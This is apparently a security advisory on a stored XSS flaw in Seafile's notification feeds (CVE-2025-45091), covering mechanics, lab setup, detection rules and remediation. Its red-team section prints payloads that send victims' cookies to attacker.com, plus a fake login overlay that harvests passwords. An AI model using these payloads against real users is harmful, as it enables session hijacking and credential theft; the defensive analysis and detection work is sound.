CVE-2025-45091

Executive Summary

CVE-2025-45091 is a stored Cross-Site Scripting (XSS) vulnerability affecting Seafile, an open-source file synchronization and sharing platform. The vulnerability resides in the notification and activities modules, where an authenticated attacker can modify their username to include a malicious XSS payload. When other users view notifications or activities, the payload executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability impacts Seafile versions 11.0.18-Pro, 12.0.10, and 12.0.10-Pro. No public exploit code or patch details are currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the risk remains significant due to the authenticated nature and potential for lateral movement.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or incomplete assessment. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – The victim must view the notification or activity.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored nature and potential for session hijacking elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Seafile web interface. The core issue is that the application does not properly sanitize or encode the username field when rendering it in notification and activity feeds. An authenticated attacker can change their display name or username to include arbitrary JavaScript code, such as:

<script>alert('XSS')</script>

When the application generates notifications (e.g., file uploads, comments, shares) or activity logs, it includes the attacker's username without proper escaping. Any user viewing these notifications will have the script executed in their browser context.

The attack flow:

1. Attacker authenticates to Seafile.
2. Attacker modifies their username via the profile settings to include a malicious payload.
3. Attacker performs an action that triggers a notification (e.g., uploading a file, commenting).
4. Victim user views the notification or activity feed.
5. The malicious script executes in the victim's browser, potentially stealing session cookies, redirecting to phishing pages, or performing actions on behalf of the victim.

The vulnerability is particularly dangerous because it targets the notification system, which is a high-traffic area of the application. Additionally, the payload is stored in the database, meaning it persists until the username is changed or the account is removed.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely exists in the template or rendering logic for notifications. For example, in a Python/Django-based Seafile backend, the username might be inserted directly into HTML without escaping:

# Vulnerable: Direct insertion without escaping
notification_html = f"<div>{user.username} uploaded a file</div>"

Patched Code (Expected): The patched code should properly escape the username using a context-aware escaping function, such as Django's escape filter or mark_safe with caution:

# Patched: Escaping the username
from django.utils.html import escape
notification_html = f"<div>{escape(user.username)} uploaded a file</div>"

Alternatively, the username field should be validated to reject HTML tags or special characters during profile updates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Seafile instance running a vulnerable version (11.0.18-Pro, 12.0.10, or 12.0.10-Pro).
• An authenticated user account with the ability to change their username.

Exploitation Steps:

1. Setup: Deploy a vulnerable Seafile instance locally or use a test environment.
2. Authenticate: Log in as a regular user.
3. Modify Username: Navigate to the profile settings and change the username to a payload. For example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Trigger Notification: Perform an action that generates a notification, such as uploading a file or commenting on a shared file.
5. Wait for Victim: The victim user views the notification or activity feed.
6. Exfiltrate Data: The payload sends the victim's session cookie to the attacker's server.

Example Payloads:

• Session theft: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
• Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h1>Session Expired</h1><form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form></div>'</script>

Blue Team

Detection and Response:

1. Monitor Username Changes: Log all username modifications and flag any that contain HTML tags or JavaScript code.
2. Inspect Notifications: Review notification content for unexpected script tags or encoded payloads.
3. User Education: Train users to be cautious of unusual notifications and to report suspicious activity.
4. Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in username fields.
5. Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS, e.g., script-src 'self'.

Lab Setup for Testing:

• Environment: Docker-based Seafile instance.
• Tools: Burp Suite for intercepting and modifying requests, browser developer tools for inspecting responses.
• Steps:
  1. Deploy Seafile using Docker: docker run -d -p 8000:8000 seafileltd/seafile:12.0.10
  2. Create two user accounts: attacker and victim.
  3. As attacker, change username to a test payload.
  4. As attacker, upload a file to a shared library.
  5. As victim, view the notification feed and observe the script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown or suspicious domains from Seafile clients.
  • HTTP requests containing JavaScript payloads in the username parameter.
• Host IOCs:
  • Seafile database entries with usernames containing HTML/JavaScript code.
  • Log entries showing username changes with suspicious patterns.
• Application IOCs:
  • Unexpected JavaScript execution in the browser when viewing notifications.
  • Alerts or pop-ups generated by the XSS payload.

Detection Engineering

YARA Rule

rule CVE_2025_45091_Seafile_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Seafile username fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45091"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss_src = /src\s*=\s*["']?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Seafile Stored XSS via Username Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to modify Seafile usernames with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: seafile
detection:
    selection:
        event: username_change
        new_username|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate usernames containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45091 Seafile Stored XSS Payload in Username"; flow:to_server; content:"POST"; http_method; content:"/api2/account/info/"; http_uri; content:"username"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Seafile: Apply the latest patch from Seafile once available. Monitor the Seafile security advisory page for updates.
2. Input Validation: Implement server-side validation to reject usernames containing HTML tags or JavaScript code.
3. Output Encoding: Ensure all user-supplied data, especially usernames, are properly HTML-encoded before rendering in notifications.

Long-Term Mitigations:

1. Content Security Policy (CSP): Deploy a strict CSP to limit script execution.
2. Web Application Firewall (WAF): Use a WAF to block XSS payloads.
3. Regular Security Audits: Conduct code reviews and penetration testing.
4. User Awareness: Train users to recognize and report suspicious notifications.

Workaround (if patching is not possible):

• Disable the notification feature temporarily.
• Restrict username changes to administrators only.
• Monitor logs for suspicious username modifications.

Valters IT
Securing Digital Frontiers